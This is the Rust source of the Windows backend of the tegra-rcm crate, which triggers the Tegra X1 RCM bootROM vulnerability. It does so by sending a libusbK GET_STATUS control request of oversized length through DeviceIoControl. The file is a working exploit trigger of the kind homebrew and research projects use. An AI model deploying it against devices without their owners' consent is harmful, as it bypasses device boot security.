tegra-rcm 0.7.1

A library to help exploit the bootROM exploit for the Tegra X1's RCM mode
Documentation
use libusbk::ffi::KUSB_DRIVER_API;
use log::debug;
use std::ffi::c_void;
use std::os::raw::{c_int, c_long, c_uint, c_ulong};

use crate::Result;

use super::Vulnerability;
use crate::SwitchHandle;

// Windows and libusbK specific constants
const WINDOWS_FILE_DEVICE_UNKNOWN: u32 = 0x00000022;
const LIBUSBK_FUNCTION_CODE_GET_STATUS: u32 = 0x807;
const WINDOWS_METHOD_BUFFERED: u32 = 0;
const WINDOWS_FILE_ANY_ACCESS: u32 = 0;

const RAW_REQUEST_STRUCT_SIZE: usize = 24; // 24 is how big the struct is, just trust me
const TO_ENDPOINT: u32 = 2;
const GET_STATUS: u32 = 0;
const INVALID_HANDLE_VALUE: isize = -1;

impl Vulnerability for SwitchHandle {
    fn backend_name() -> &'static str {
        "windows"
    }

    fn trigger(&self, length: usize) -> Result<()> {
        use std::mem::size_of;
        use std::mem::transmute;

        let device = &self.handle;

        debug!("DriverId is {:#?}", device.driver_id());

        let handle = device.raw_handle().as_ptr();

        let internal = unsafe { transmute::<*mut c_void, *mut KUsbHandleInternal>(handle) };

        let master_handle = unsafe { (*(*internal).device).master_device_handle };

        if handle.is_null()
            || master_handle as isize == INVALID_HANDLE_VALUE
            || master_handle.is_null()
        {
            panic!()
        }

        let raw_request = RawRequest {
            timeout: 1000,
            status: Status {
                recipient: TO_ENDPOINT,
                index: GET_STATUS,
                status: 0,
            },
            _extra: [0; 8],
        };

        let mut out_buf = vec![0u8; length];
        let in_buf = unsafe { transmute::<RawRequest, [u8; size_of::<RawRequest>()]>(raw_request) };

        debug_assert_eq!(size_of::<RawRequest>(), RAW_REQUEST_STRUCT_SIZE);
        debug_assert_eq!(in_buf.len(), RAW_REQUEST_STRUCT_SIZE);

        const CODE: u32 = win_ctrl_code(
            WINDOWS_FILE_DEVICE_UNKNOWN,
            LIBUSBK_FUNCTION_CODE_GET_STATUS,
            WINDOWS_METHOD_BUFFERED,
            WINDOWS_FILE_ANY_ACCESS,
        );

        let ret = unsafe { ioctl(master_handle, CODE, &in_buf, &mut out_buf) };
        if let Err(e) = ret {
            const TIMEOUT_ERROR: u32 = 997;
            if e == TIMEOUT_ERROR {
                return Ok(());
            } else {
                panic!("{}", ret.unwrap_err());
            }
        }

        Err(crate::SwitchError::ExpectedError)
    }

    fn validate_environment(&self) -> crate::Result<()> {
        match crate::error::WindowsDriver::from(self.handle.driver_id()) {
            crate::error::WindowsDriver::LibUsbK => Ok(()),
            driver => Err(crate::SwitchError::WindowsWrongDriver(driver)),
        }
    }
}

/// Return a control code for use with DeviceIoControl()
const fn win_ctrl_code(device_type: u32, function: u32, method: u32, access: u32) -> u32 {
    (device_type) << 16 | ((access) << 14) | (function) << 2 | (method)
}

/// A wrapper call for the raw windows DeviceIoControl function
unsafe fn ioctl(
    driver_handle: *mut c_void,
    code: u32,
    input: &[u8],
    output: &mut [u8],
) -> std::result::Result<(), u32> {
    use std::mem::zeroed;
    use winapi::ctypes::c_void;
    use winapi::um::errhandlingapi::GetLastError;
    use winapi::um::ioapiset::DeviceIoControl;
    use winapi::um::minwinbase::OVERLAPPED;

    let mut overlapped = zeroed::<OVERLAPPED>();
    let mut output_bytes = 0;

    let ret = DeviceIoControl(
        driver_handle as usize as *mut winapi::ctypes::c_void,
        code,
        input.as_ptr() as *mut c_void,
        input.len() as u32,
        output.as_mut_ptr() as *mut c_void,
        output.len() as u32,
        &mut output_bytes,
        &mut overlapped,
    );

    if ret == 0 {
        let err = GetLastError();
        return Err(err);
    }

    Ok(())
}

#[derive(Debug)]
#[repr(C)]
struct RawRequest {
    timeout: c_long,
    status: Status,
    _extra: [u8; 8],
}

#[derive(Debug)]
#[repr(C)]
struct KDevHandleInternal {
    base: KObjBase,
    master_device_handle: *mut c_void,
    master_interface_handle: *mut c_void,
    device_path: *mut u8,
    config_descriptor: *mut c_void, // unused
    shared_interfaces: *mut c_void,
    driver_api: *mut KUSB_DRIVER_API,
    usb_stack: *mut c_void, // unused
    backend: *mut c_void,   // unused
}

#[derive(Debug)]
#[repr(C)]
struct KUsbHandleInternal {
    base: KObjBase,
    device: *mut KDevHandleInternal,
    selected_shared_interface_index: c_long,
    is_clone: c_int, // bool
    r#move: Move,
}

#[derive(Debug)]
#[repr(C)]
struct KObjBase {
    disposing: c_ulong,
    evt: Evt,
    count: Count,
    user: User,
}

#[derive(Debug)]
#[repr(C)]
struct Evt {
    cleanup: *mut c_void,
}

#[derive(Debug)]
#[repr(C)]
struct Count {
    r#use: c_ulong,
    r#ref: c_ulong,
}

#[derive(Debug)]
#[repr(C)]
struct User {
    valid: c_int, // bool
    cleanup_cb: *mut c_void,
    context: *mut c_void,
}

#[derive(Debug)]
#[repr(C)]
struct Move {
    end: c_int,
    interface_el: *mut c_void,
    alt_interface_el: *mut c_void,
    pipe_el: *mut c_void,
}

#[derive(Debug)]
#[repr(C)]
struct Status {
    recipient: c_uint,
    index: c_uint,
    status: c_uint,
}

#[cfg(test)]
mod test {
    use super::*;

    #[test]
    fn raw_request_size() {
        use std::mem::size_of;

        assert_eq!(size_of::<RawRequest>(), RAW_REQUEST_STRUCT_SIZE)
    }
}